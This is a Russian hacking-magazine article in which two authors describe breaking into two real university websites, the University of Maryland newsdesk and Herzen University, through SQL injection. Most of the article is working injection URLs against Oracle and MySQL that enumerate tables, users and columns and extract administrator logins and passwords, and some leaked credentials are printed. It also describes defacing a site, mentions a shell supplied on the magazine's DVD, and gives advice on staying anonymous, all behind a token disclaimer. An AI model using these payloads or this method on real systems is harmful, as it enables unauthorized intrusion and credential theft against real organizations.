Идеальные подопытныеЕвгений «Corwin» Ермаков Хакер, номер #106, стр. 080 Дмитрий «Ded MustD!e» Серебрянников (innos_got@rambler.ru) Становимся админами университетских сайтовНачалась студенческая жизнь. Студенты мирно пропускают пары, даже не вспоминая, что скоро их мозг погрязнет в сессии, преподы нарабатывают материалы для будущих семинаров и экзаменов, а хакеры ищут новых жертв, чтобы нещадно взломать. Взламывать универ, как нам показал r0id в августовском «Хакере», вдвойне приятно. А сегодня мы еще растянем это удовольствие, насладившись сразу двумя интересными взломами от умных парней. А ты сиди и конспектируй, студент :)!
Newsdesk.umd.edu, или студенческий привет от Corwin’аДоводы о том, что сайты, относящиеся к правительственным и госструктурам, хорошо написаны и защищены, совершенно бесплотны. Некоторые мои знакомые пачками ломают такие порталы, поднимая на этом неплохую денежку, которой хватает на мороженное и не только :). Мне и самому пару раз приходилось выполнять заказы на взлом серверов в определенной зоне, но в этот раз для «опытов» (о которых ты можешь прочесть в одной из моих недавних статей) мне требовался сервер с определенной СУБД и... Тут подвернулся безобидный университет штата Мэриленд. В этот раз мне не хотелось делать все вручную и было решено задействовать XSpider, но прошло довольно продолжительное время, а XSpider все молчал и не мог даже толком определить открытые порты. Хорошо, нет так нет, бьем в лоб - такая тактика меня редко подводит :). И, начав ковыряться вручную, я не ошибся - первый же проверенный скрипт был уязвимым. Параметр ArticleID в скрипте новостей release.cfm совершенно не фильтровался. Подставив кавычку к значению ArticleID, я получил ответ сервера, который предоставил мне столько информации, что судьба сайта сразу оказалась предрешенной :). Портал вообще представлял собой один большой баг, он был настолько коряво написан, что такое даже сложно себе представить: абсолютно все скрипты были уязвимыми, на каждом шагу сервер выплевывал ошибки. Видимо, движок, как обычно, писали студенты - горе-кодеры. Кстати, получилась довольно-таки экзотическая связка: ColdFusion+Oracle. Отличный полигон для отработки навыков :). Сам ответ сервера: Error Executing Database Query. [Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended The error occurred in /afs/.glue.umd.edu/department/oit/eis/webhosting/newsdesk/htdocs/uniini/release.cfm: line 21 19 : SELECT ID, CONTACTS, RELEASE_DATE, REF, title 20 : FROM ARTICLEINFO 21 : WHERE ID = #URL.ArticleID# 22 : </CFQUERY> Как мы видим, по ошибке выбирается 5 колонок из таблицы ARTICLEINFO. А на чем все это пашет?Внимательный читатель уже, наверное, заметил, что я имею дело не с обычным PHP-движком, а с ColdFusion(CF). Для тех, кто незнаком с этой технологией, сообщаю: это интерпретатор, а точнее, сервер приложений, который обрабатывает CFM-сценарии. Сами же файлы с расширением CFM написаны на языке ColdFusion Markup. Я помнил, что при реализации построения систем на ColdFusion администраторами почти всегда допускаются грубейшие ошибки. Имелось что-то вроде джентльменского набора багов в ColdFusion :). Первым делом я полез в систему управления CF - ColdFusion Administrator. Перейдя по адресу newsdesk.umd.edu/CFIDE/administrator/index.cfm, я сильно обломался - апачевая авторизация. Видимо, админы не были уж полными... неумными людьми и хоть о чем-то позаботились. Также я держал в голове то, что иногда при неправильной конфигурации CFusion можно получить дополнительную информацию, добавив переменную debug с значением, равным единице. Но запрос newsdesk.umd.edu/culture/release.cfm?ArticleID=1486&debug=1, также как и newsdesk.umd.edu/culture/release.cfm?ArticleID=1486&mode=debug, ничего не дал, кроме ошибки (хотя в этой ошибке, как я уже говорил, информации было более чем достаточно). Бьем в лобТогда было решено просто внедрять SQL-операторы, то есть провести SQL-injection. Благо синтаксис Оракла я знал неплохо (читай в недавней статье «Разрушая базы»). Интереса ради была просмотрена версия Оракла: http://newsdesk.umd.edu/uniini/release.cfm?ArticleID=-1 union select null,banner,null,null,null from v$version На это я получил: CORE 9.2.0.7.0 По ранее полученной ошибке мы видим, что использовать комментарии («--«) не нужно. Дальше было получено имя пользователя БД(4SERVICE), находящееся в таблице all_users: target/release.cfm?ArticleID=-1 union select 1, null,null,null,username from all_users Затем было решено пройтись по таблицам. Их названия хранятся в системной таблице user_tables(sys.user_tables) и в таблице sys.all_tables. Был сделан следующий запрос: target/release.cfm?ArticleID=-1 union select 1,null,null,null,table_name from user_tables В ответ на это сервер выдал название первой таблицы - ARTICLEINFO. Названия всех колонок находятся в таблице user_tab_columns(sys.user_tab_columns). Простая инъекция выдала мне первую колонку(AC): target/release.cfm?ArticleID=-1 union select 1,null,null,null,column_name from user_tab_columns В данном случае мне очень повезло - в сообщении об ошибке была исчерпывающая информация и о количестве выбираемых колонок и о типе данных. Но не всегда все оказывается так просто. Подбирать колонки в Оракле можно, тупо подставляя нули (null, null, <...>), или использовать оператор order by: К примеру: target/release.cfm?ArticleID=-1 order by 5 Сервер выдает: Страница сайта без динамического содержимого. Ошибки нет, следовательно, столбцов 5 или более пяти. Тогда: target/release.cfm?ArticleID=-1 order by 6 На выходе получаем: Error Executing Database Query. [Macromedia][Oracle JDBC Driver][Oracle]ORA-01785: ORDER BY item must be the number of a SELECT-list expression Появилась ошибка, следовательно, всего 5 колонок. ПодзапросыВыбирая названия таблиц и колонок из системной таблицы, мы получали лишь имена первых таблиц/колонок. Для того чтобы вытащить остальные названия, используются подзапросы с оператором rownum. Я составил такой запрос: target/release.cfm?ArticleID=-1 union select 1,null,null,null,table_name from (select rownum r, table_name from user_tables) where r=2 Так было получено название второй таблицы в базе данных - CONTACTS. Перебирая значения оператора rownum - r, мы получим названия остальных таблиц. Аналогично вытаскивается информация о колонках: target/release.cfm?ArticleID=-1 union select 1,null,null,null,column_name from (select rownum r, column_name from user_tab_columns) where r=2 target/release.cfm?ArticleID=-1 union select 1,null,null,null,column_name from (select rownum r, column_name from user_tab_columns) where r=3 И так далее. Естественно, подзапросы применимы и для остальных системных таблиц. К примеру, мы можем получить имена остальных пользователей: http://newsdesk.umd.edu/uniini/release.cfm?ArticleID=-1+union+select+ null,null,null,null,username+from+(select rownum r, username from all_users) where r=2 http://newsdesk.umd.edu/uniini/release.cfm?ArticleID=-1+union+select+ null,null,null,null,username+from+(select rownum r, username from all_users) where r=3 Дальше просто пошел перебор значений r. Ты уже наверняка задался вопросом: а как же пароли юзеров? К сожалению, у меня не хватило прав для их просмотра. Предполагая местонахождение админки, я перешел по адресу http://newsdesk.umd.edu/login и увидел листинг директории login: Application.cfm 01-Aug-2003 10:45 250 bottom.cfm 10-Dec-2002 13:17 1.7K login.cfm 01-Aug-2003 10:45 461 login_action.cfm 01-Aug-2003 10:45 701 top_login.cfm 16-Dec-2004 12:02 5.8K Очередная типичная ошибка при конфигурации ColdFusion. Application.cfm - это конфигурационный файл, своего рода шаблон, который определяет выводимую при ошибке информацию. За вход в админку отвечал файл login.cfm. Обратившись напрямую к файлу login_action.cfm, я получил очередной подарок от системы: The error occurred in /afs/.glue.umd.edu/department/oit/eis/webhosting/newsdesk/htdocs/login/login_action.cfm: line 6 4 : SELECT Count(*) AS Login_Match 5 : FROM LOGINS 6 : WHERE LOGIN = '#Form.Login#' 7 : AND PASSWORD = '#Form.Pwd#' 8 : </CFQUERY> Теперь я имел все, что только могло понадобиться: названия нужных колонок и таблиц. Первый запрос выдал мне админский логин (4admin): http://newsdesk.umd.edu/culture/release.cfm?ArticleID=-1 union select null,null,null,null,login from logins Вторым же запросом я достал пароль (11777): http://newsdesk.umd.edu/culture/release.cfm?ArticleID=-1 union select null,null,null,null,password from logins Дальше были использованы подзапросы для выуживания остальных акаунтов: http://newsdesk.umd.edu/culture/release.cfm?ArticleID=-1 union select null,null,null,null,login from(select rownum r, login from logins) where r=2 http://newsdesk.umd.edu/culture/release.cfm?ArticleID=-1 union select null,null,null,null,password from(select rownum r, password from logins) where r=2 Остальные акки доставались аналогично. Аккаунтов оказалось всего пять. Вот они (l - login, p - password):
ЗанавесПопав в админку, такую же убогую, как и весь сайт, я добавил новость с приветом всем посетителям. Сначала я даже стал вставлять в новости привычную строку «<?php system(id) ?>», но быстро вспомнил, с какой системой я работаю :). Поговорка «Не знаешь - не лезь» в очередной раз подтверждалась. Создатели портала совершенно не поднимали вопрос безопасности при программировании на CFML. Всегда нужно отдавать предпочтение тем технологиям, в которых ты разбираешься. На сервере этого сайта крутилось множество других порталов, которые были не менее бажными. Получить права на них оказалось так же просто, как и на рассмотренном newsdesk.umd.edu. Герцен vs Ded MustD!eЛето пролетело незаметно, и пора была снова задумываться об учебе. О чем бы я не думал, мыслями я неизбежно возвращался к университету. И тут как раз подвернулась статья R0id’а. Прочитав августовский «Хакер», ты наверняка бросился ломать любимый университет :). У тебя получилось? У меня - да. Моей целью был Российский государственный педагогический университет имени А.И. Герцена. Зайдя на сайт, я был приятно удивлен приветливым дизайном. Мне предлагали на выбор три входа: общий, для студентов и для абитуриентов. Недолго думая я нажал «Общий». Первым делом я заглянул в robots.txt, но тут меня ждал облом: User-agent: * Disallow: / Вот и все, что я смог увидеть. Ничуть не расстроившись, я двинулся дальше. На ресурсе были ссылки на сайты структурных подразделений и личные сайты сотрудников, но их я оставил на потом, занявшись главным сайтом. Панели авторизации видно не было, поэтому я перешел к поиску SQL-инъекции. Я подставил кавычку в первую попавшуюся ссылку (http://www.herzen.spb.ru/index.phtml?id=1’), и произошло нечто странное. Меня перекинуло на страницу index.phtml?id=1343, а посредине страницы висело окошко авторизации :). Я подставил кавычку в поле «Логин», и сервер выдал мне ответ: DB Error: syntax error SELECT username, password FROM users WHERE username = ''' AND state = '0' [nativecode=1064 ** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '0'' at line 2] Я не поверил своим глазам. Скрипт все сделал за меня, теперь я знал название базы и имена столбцов. Но как я ни изгалялся, мои запросы не выполнялись. В итоге, бросив эту затею, я стал искать другие инъекты. Пожинаем плодыПосле недолгих поисков я наткнулся на очередной инъект: http://www.herzen.spb.ru/index.phtml?id=1343&news_id=793'&block=5 Сервер опять же ответил мне максимально информативно: DB Error: syntax error SELECT * FROM news WHERE id = '793'' [nativecode=1064 ** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''793''' at line 1] Используя union и информацию, полученную из предыдущего запроса, я сформировал такой запрос: http://www.herzen.spb.ru/index.phtml?id=1343&news_id=793' +union+select+username,password+from+users/*&block=5 И получил долгожданный ответ: DB Error: unknown error SELECT * FROM news WHERE id = '793' union select username,password from users/*' [nativecode=1222 ** The used SELECT statements have a different number of columns] Осталось только подобрать количество столбцов, чем я и занялся. В итоге запрос приобрел вид: http://herzen.spb.ru/index.phtml?id=14&news_id=793'+union+SELECT+ 1,2,3,4,5,6,7,8,9,10,11,12,13,14+FROM+users+WHERE+username%20=%20''%20OR %20'1'='1'/*&block=5 Запрос успешно выполнился, и ничего не произошло - передо мной снова была страница новостей. Но после 10-секундного ступора я понял, где накосячил, и поставил «-» перед номером id. После нажатия на <Enter> с экрана на меня приветливо смотрели цифры 5, 7 и 11. Окончательный запрос выглядел так: http://herzen.spb.ru/index.phtml?id=14&news_id=- 793'+union+SELECT+1,2,3,4,username,6,password, 8,9,10,11,12,13,14+FROM+users+WHERE+username %20=%20''%20OR%20'1'='1'/*&block=5 Таким образом я получил логин и пароль администратора:
Пароль заставил меня невольно улыбнуться :). Теперь мне предстоял поиск админки, который много времени у меня не отнял, так как админка располагалась по адресу http://herzen.spb.ru/admin. Введя полученные данные я попал в святая святых сайта. И тут же упал под стол - система меня приветствовала фразой: «Здравствуйте, Kobilyatsky Nikolai Nikolaevich!» :). Время было позднее, шелл заливать было лень, и я решил довольствоваться тем, что стал админом на сайте :). DVDНа диске ты найдешь видеохак, демонстрирующий весь процесс издевательств над буржуйским Мэрилендом :). Там же находится небольшой шелл, написанный на CFM. DANGERСледует помнить, что если ты вдруг начитаешься наших статей и взломаешь что-нибудь чужое, то отвечать за все будешь только ты один. Мы тебя ни к чему такому криминальному не призываем, наоборот, всячески уговариваем не нарушать законов. Пойми нас правильно, все вышеописанное является лишь демонстрацией печальных последствий игнорирования администраторами вопросов безопасности серверов и призывом их к исправлению ситуации. INFOПри любых подобных экспериментах взломщик не должен забывать о своей анонимности. Даже самые безобидные действия, производимые над сервером, могут привести к встрече с сотрудниками известных органов. WWWТема программирования на ColdFusion достаточно интересна, и я советую тебе ознакомиться с некоторыми доками:
|